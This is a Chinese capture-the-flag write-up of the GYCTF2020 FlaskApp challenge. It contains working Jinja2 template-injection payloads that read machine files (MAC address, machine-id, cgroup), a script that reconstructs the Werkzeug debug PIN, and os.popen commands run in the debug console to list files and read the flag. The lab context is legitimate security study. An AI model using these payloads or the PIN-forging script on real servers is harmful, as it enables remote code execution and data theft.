首页 > 其他分享 >[GYCTF2020]FlaskApp (pin码,jinja2绕过注入)

[GYCTF2020]FlaskApp (pin码,jinja2绕过注入)

时间:2024-07-31 16:28:20浏览次数:18  
标签:__ .__ pin app GYCTF2020 __.__ jinja2 id class

题目就是flask

下面是判断模版注入的方法

a{*comment*}b和{{7*'7'}}base64编码后解码都报错no,无法判断模版引擎

直接用下jinja2的试一试,把编码后的密文拿去解码,payload:

{{"".__class__mro(2)__subclasses__()}}

报错是jinja2

后面就整不会了,看别人的wp整理一下:

由于不知道flag的存放位置和名字,所以要通过获取pin码打开python shell

PIN 机制在 [Flask debug 模式 PIN 码生成机制安全性研究笔记](https://www.cnblogs.com/HacTF/p/8160076.html) 一文中有详细的研究。

由官方write up总结出,生成PIN的关键值有如下几个:

* 1. 服务器运行flask所登录的用户名。 通过/etc/passwd中可以猜测为flaskweb 或者root ,此处用的flaskweb

* 2. modname 一般不变就是flask.app

* 3. getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)。python该值一般为Flask 值一般不变

* 4. flask库下app.py的绝对路径。通过报错信息就会泄露该值。本题的值为

* 5.当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address 获取:

payload:

{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}}

 转换为10进制得:

* 6.最后一个就是机器的id。

对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。

对于docker机则读取/proc/self/cgroup:

payload:{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/proc/self/cgroup').read()}}
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/proc/sys/kernel/random/boot_i').read()}}
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/machine-id').read()}}

我是在/etc/machine-id下找到的,也就是第三个payload

计算pin值脚本

from itertools import chain
import hashlib
probably_public_bits = [
    'flaskweb',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '16416319932079'# mac地址
    '1408f836b0ca514d796cbf8960e45fa1', # 机器id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

获得pin值

进入报错页面,用这个就行

{{"".__class__mro(2)__subclasses__()}}

鼠标移动到报错代码有一个cmd窗口类似的图标出现在代码右上角,我们点击它然后输入 pin码然后就可以执行python shell了

输入import os

os.popen('ls /').read()

点这个加号看到放flag的文件

构造最终payload:

os.popen('cat /this_is_the_flag.txt').read()

没返回的话再一次import os即可

其他方法参考这篇文章:

https://www.cnblogs.com/fishjumpriver/p/18163068​​​​​​​

标签:__,.__,pin,app,GYCTF2020,__.__,jinja2,id,class
From: https://blog.csdn.net/weixin_73399382/article/details/140815659

相关文章

  • 0CTF/TCTF 2023 OLAPInfra Nashorn RCE + HDFS UDF RCE
    前置知识ClickHouse:是一个开源的列式数据库管理系统clickhouse-jdbc-bridge:clickhouse数据库和jdbc交互的工具HDFS(HadoopDistributedFileSystem):专为大数据存储和处理而设计。审计<?phperror_reporting(E_ALL^E_DEPRECATED);require__DIR__.'/../vendor/autol......
  • 题解:Pinely Round 4 (Div. 1 + Div. 2) A
    A.MaximizetheLastElementtimelimitpertest:1secondmemorylimitpertest:256megabytesinput:standardinputoutput:standardoutputYouaregivenanarray\(a\)of\(n\)integers,where\(n\)isodd.Inoneoperation,youwillremovetwoa......
  • [GYCTF2020]Blacklist
    [GYCTF2020]BlacklistStep1输入1,回显:array(2){[0]=>string(1)"1"[1]=>string(7)"hahahah"}稍微尝试注入:/?inject=1'+union+select+1,2,3;#回显:returnpreg_match("/set|prepare|alter|rename|select|update|delete|dro......
  • 51nod两问-Pinball等
    问题1-Pinball为什么这样解释的通,我看不懂什么意思?还有这个\(e\)在后面状态中没有体现。具体做法?为什么只有\([a_i,c_i]\)需要考虑?他可以往左边掉。那么从\(n\)开始掉又如何考虑Kamp手绘的图:这个图似乎就不满足了。不知道什么意思。这个思路怎么做。......
  • Pinely Round 4 (Div. 1 + Div. 2) A - E
    A.MaximizetheLastElement答案是奇数位的最大值点击查看代码#include<bits/stdc++.h>#defineFOR(i,j,k)for(inti=(j);i<=(k);i++)#defineROF(i,j,k)for(inti=(j);i>=(k);i--)#definePIIpair<int,int>#defineintlonglong#defineULLunsi......
  • Vivado 12-508错误(即“No pins matched”)如何解决?
     时序约束时,vivado自动能找到的时钟,是IP核最内部的引脚,综合会出现报错,所以需要手动调整XDC文件,写顶层模块名和顶层能看到的引脚名称。 以下是文心一言的回答: 如果引脚是IP核(知识产权核)内部的,并且IP核在综合阶段被当作黑盒子处理,导致vivado12-508错误,如何解决呢? 如果引......
  • 关于嵌入式QML dict_pinyin.dat的编译更新
    硬件平台:全志的A40I-H 软件平台:Linux内核版本3.10.65QT版本:5.9.0 重新编译dict_pinyin.dat的作用 1.解决输入"nss"导致输入法崩溃的问题2.解决输入某些嵌入式平台不支持的字体,例如“捃”,导致程序崩溃的问题 源码路径:~/qt-everywhere-opensource-src-5.9.0/qtvirtual......
  • Pinely Round 4 (Div. 1 + Div. 2) 赛后总结
    PinelyRound4(Div.1+Div.2)赛时提交情况:CF1991A.MaximizetheLastElement赛时思路首先,CF判断了足足2min确定我是真人,看到题目时首先想到的是,最后保留的数字之前及之后必然有偶数个数字,且\(n\)为奇数,所以我们可以确定若\(a_i\)是最后保留的数字,\(i\)必然为奇......
  • Pinely Round 4 (Div. 1 + Div. 2)
    Preface难得地有直觉的一场,50min过了前5题后形式大好,然后F也一眼看出了有个斐波那契的上界结果写了个暴力判断交上去一直挂,前面一直以为是一定有解的阈值设错了,没想到挂了好几发后发现暴力漏了一种Case,真是唐完了A.MaximizetheLastElement不难发现只有奇数位置上的......
  • Pinely Round 4 (Div. 1 + Div. 2)(A - F)
    PinelyRound4(Div.1+Div.2)(A-F)A-MaximizetheLastElement解题思路:只有奇数位置能选。偶数位置前后都有奇数个数字,无法删完。代码:#include<bits/stdc++.h>usingnamespacestd;usingll=longlong;usingpii=pair<ll,ll>;#definefifirst#define......